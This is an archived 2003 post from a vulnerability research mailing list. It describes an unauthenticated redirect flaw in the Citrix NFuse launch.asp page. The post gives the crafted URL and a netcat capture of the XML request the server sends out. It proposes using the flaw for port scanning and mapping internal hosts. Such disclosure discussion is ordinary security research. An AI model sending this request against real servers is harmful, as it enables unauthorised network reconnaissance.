Vulnerability Development mailing list archives
lame citrix bug, anyone think of anything interesting?
From: "wirepair" <wirepair () roguemail net>
Date: Tue, 14 Oct 2003 07:34:25 -0700
lo again,Yeah I know I'm getting of tired of Citrix too. While messing around with NFuse I found out i can basically redirect to any port to any server. Using http://nfusehost/Citrix/launch.asp?NFuse_CitrixServer=ip.ip.ip.ip&NFuse_CitrixServerPort=9000&NFuse_Transport=HTTP&NFuse_Application=Weee&NFUSE_USER=Administrator&NFuse_MIMEExtension=.ica So I guess we could use this to do a port scan by guessing response time for ports. You could probably map the internal hosts for services and such. Its pretty weak but I guess it could help someone at sometime. Oh also you don't need to authenticate to use launch.asp...
The data it sends is:
root@jebus:/home/fbi# nc -l -v -p 9000
listening on [any] 9000 ...
connect to [my.ip.ip.ip] from (UNKNOWN) [nfuse.ip.ip.ip] 3939
POST /scripts/wpnbr.dll HTTP/1.1
Content-Type: text/xml
Host: my.ip.ip.ip:9000
Content-Length: 1100
Connection: Keep-Alive
<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE NFuseProtocol SYSTEM "NFuse.dtd">
<NFuseProtocol version="4.1">
<RequestAppData>
<Scope traverse="onelevel"></Scope>
<DesiredDetails>all</DesiredDetails>
<AppName>Wee</AppName>
<ServerType>all</ServerType>
<ClientType>ica30</ClientType>
<Credentials>
<UserName>Administrator</UserName>
<Password encoding="ctx1"></Password>
<Domain type="NT"></Domain>
</Credentials>
</RequestAppData>
</NFuseProtocol>
Anyone else got some tricks you could possibly use this for?
-wire
-- Visit Things From Another World for the best comics, movies, toys, collectibles and more. http://www.tfaw.com/?qt=wmf
Current thread:
- lame citrix bug, anyone think of anything interesting? wirepair (Oct 14)
